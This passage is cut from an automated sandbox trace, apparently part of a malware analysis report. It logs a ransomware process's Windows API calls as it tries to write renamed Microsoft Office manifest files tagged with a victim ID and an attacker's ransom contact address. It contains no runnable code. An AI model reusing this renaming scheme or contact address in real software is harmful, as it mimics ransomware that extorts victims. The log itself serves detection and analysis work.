dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.738] CloseHandle (hObject=0x1288) returned 1 [0263.739] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.739] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.739] CloseHandle (hObject=0x1288) returned 1 [0263.740] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.740] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.dcfmui.msi.16.en-us.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.dcfmui.msi.16.en-us.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.740] CloseHandle (hObject=0x1288) returned 1 [0263.741] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.742] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.742] CloseHandle (hObject=0x1288) returned 1 [0263.742] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.743] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.excelmui.msi.16.en-us.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.excelmui.msi.16.en-us.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.743] CloseHandle (hObject=0x1288) returned 1 [0263.744] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.744] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.744] CloseHandle (hObject=0x1288) returned 1 [0263.745] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.745] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.groovemui.msi.16.en-us.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.groovemui.msi.16.en-us.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.745] CloseHandle (hObject=0x1288) returned 1 [0263.747] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.747] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.747] CloseHandle (hObject=0x1288) returned 1 [0263.748] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.748] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.lyncmui.msi.16.en-us.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.lyncmui.msi.16.en-us.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.748] CloseHandle (hObject=0x1288) returned 1 [0263.749] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.749] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32mui.msi.16.en-us.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.office32mui.msi.16.en-us.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.749] CloseHandle (hObject=0x1288) returned 1 [0263.750] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.750] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32ww.msi.16.x-none.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.office32ww.msi.16.x-none.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.751] CloseHandle (hObject=0x1288) returned 1 [0263.752] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.753] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemui.msi.16.en-us.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.officemui.msi.16.en-us.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.753] CloseHandle (hObject=0x1288) returned 1 [0263.754] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.754] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemuiset.msi.16.en-us.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.officemuiset.msi.16.en-us.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.754] CloseHandle (hObject=0x1288) returned 1 [0263.755] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.755] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.756] CloseHandle (hObject=0x1288) returned 1 [0263.757] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.757] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.onenotemui.msi.16.en-us.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.onenotemui.msi.16.en-us.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.757] CloseHandle (hObject=0x1288) returned 1 [0263.758] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.758] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.758] CloseHandle (hObject=0x1288) returned 1 [0263.759] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.759] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmmui.msi.16.en-us.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmmui.msi.16.en-us.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.760] CloseHandle (hObject=0x1288) returned 1 [0263.760] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.761] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.792] CloseHandle (hObject=0x1288) returned 1 [0263.913] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.913] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmuxmui.msi.16.en-us.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmuxmui.msi.16.en-us.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.916] CloseHandle (hObject=0x1158) returned 1 [0263.951] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.951] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.951] CloseHandle (hObject=0x1158) returned 1 [0263.952] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.952] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.outlookmui.msi.16.en-us.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.outlookmui.msi.16.en-us.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.953] CloseHandle (hObject=0x1158) returned 1 [0263.953] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.953] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.954] CloseHandle (hObject=0x1158) returned 1 [0263.955] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.955] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.955] CloseHandle (hObject=0x1158) returned 1 [0263.956] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.956] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.powerpointmui.msi.16.en-us.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpointmui.msi.16.en-us.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.956] CloseHandle (hObject=0x1158) returned 1 [0263.957] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.957] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.project.project.x-none.msi.16.x-none.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.959] CloseHandle (hObject=0x1158) returned 1 [0263.960] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.960] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.projectmui.msi.16.en-us.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.projectmui.msi.16.en-us.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.960] CloseHandle (hObject=0x1158) returned 1 [0263.961] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.961] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.en-us.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.en-us.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.962] CloseHandle (hObject=0x1158) returned 1 [0263.963] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.963] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.es-es.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.es-es.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.963] CloseHandle (hObject=0x1158) returned 1 [0263.969] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.969] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.fr-fr.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.970] CloseHandle (hObject=0x1194) returned 1 [0263.971] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.971] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.proofing.msi.16.en-us.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proofing.msi.16.en-us.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.971] CloseHandle (hObject=0x1194) returned 1 [0263.972] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.972] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.973] CloseHandle (hObject=0x1194) returned 1 [0263.974] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.974] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.publishermui.msi.16.en-us.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft 